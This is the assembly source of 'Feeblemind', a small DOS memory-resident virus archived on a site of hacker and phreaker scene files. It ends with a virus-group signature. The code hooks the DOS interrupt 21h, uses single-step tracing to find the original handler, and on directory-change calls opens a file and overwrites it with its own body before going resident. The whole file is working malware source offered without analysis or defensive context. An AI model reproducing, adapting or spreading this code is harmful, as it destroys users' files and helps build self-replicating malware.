home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / F.ZIP / FEEBLE.ZIP / FEEBLE.A86 next >
Text File  |  1994-01-09  |  3KB  |  121 lines
  1. ;
  2. ; Feeblemind
  3. ;
  4. Start:          Jmp Install
  5.  
  6. Old21           Dd 0
  7.  
  8. Org21           Dd 0
  9.  
  10. Inc10:          Add Ah,10h
  11. Eoi:            Jmp Dword Ptr Cs:[Org21]
  12.  
  13. New21:          Sub Ah,10h
  14.                 Cmp Ax,3b00h
  15.                 Jne Inc10
  16.                 Push Ax
  17.                 Push Bx
  18.                 Push Cx
  19.                 Push Dx
  20.                 Push Ds
  21.                 Push Es
  22.                 Push Si
  23.                 Push Di
  24.                 Mov Ax,3d02h
  25.                 Pushf
  26.                 Call Dword ptr Cs:[Old21]
  27.                 Xchg Ax,Bx
  28.                 Mov Ah,30h
  29.                 Add Ah,10h
  30.                 Mov Cx,VLen
  31.                 Lea Dx,Start
  32.                 Mov Ds,Cs
  33.                 Pushf
  34.                 Call Dword ptr Cs:[Old21]
  35.                 Mov Ah,3eh
  36.                 Pushf
  37.                 Call Dword Ptr Cs:[old21]
  38.                 Pop Di
  39.                 Pop Si
  40.                 Pop Es
  41.                 Pop Ds
  42.                 Pop Dx
  43.                 Pop Cx
  44.                 Pop Bx
  45.                 Pop Ax
  46.                 Jmp EOI
  47.  
  48.                 Db '[Feeblemind]'
  49.  
  50. Install:        Mov Ax,3501h
  51.                 Int 21h
  52.                 Mov Word Ptr Cs:[Old1],Bx
  53.                 Mov Word Ptr Cs:[Old1][2],Es
  54.                 Mov Ax,2501h
  55.                 Mov Ds,Cs
  56.                 Lea Dx,New1
  57.                 Int 21h
  58.  
  59.                 Cli
  60.                 Pushf
  61.                 Pop Ax
  62.                 Or Ah,1
  63.                 Push Ax
  64.                 Popf
  65.                 Sti
  66.  
  67.                 Mov Ah,30h
  68.                 Int 21h
  69.  
  70.                 Cli
  71.                 Pushf
  72.                 Pop Ax
  73.                 And Ah,0feh
  74.                 Push Ax
  75.                 Popf
  76.                 Sti
  77.  
  78.                 Mov Ds,Word ptr Cs:[Old1][2]
  79.                 Mov Dx,Word ptr Cs:[Old1]
  80.                 Mov Ax,2501h
  81.                 Int 21h
  82.  
  83.                 Mov Ax,1521h
  84.                 Add Ah,20h
  85.                 Int 21h
  86.                 Mov Word Ptr Cs:[Org21],Bx
  87.                 Mov Word Ptr Cs:[Org21][2],Es
  88.  
  89.                 Mov Ax,1521h
  90.                 Add Ah,10h
  91.                 Mov Ds,Cs
  92.                 Lea Dx,New21
  93.                 Int 21h
  94.                 Lea Dx,EndByte
  95.                 Int 27h
  96.  
  97. Old1            Dd 0
  98.  
  99. New1:           Push Bp
  100.                 Mov Bp,Sp
  101.  
  102.                 Cmp Word Ptr Ss:[Bp][4],116h
  103.                 Jne Einde
  104.                 Push Ax
  105.                 Mov Ax,Ss:[Bp][4]
  106.                 Mov Word Ptr Cs:[Old21][2],Ax
  107.                 Mov Ax,Ss:[Bp][2]
  108.                 Mov Word Ptr Cs:[Old21],Ax
  109.                 And Word Ptr Ss:[Bp][6],0fffeh
  110.                 Pop Ax
  111. Einde:          Pop Bp
  112.                 Iret
  113.  
  114. Endbyte         Db 0
  115. Vlen            Equ $-Start
  116.  
  117. ;  ─────────────────────────────────────────────────────────────────────────
  118. ;  ───────────────> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <───────────────
  119. ;  ───────────> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <───────────
  120. ;  ─────────────────────────────────────────────────────────────────────────
  121.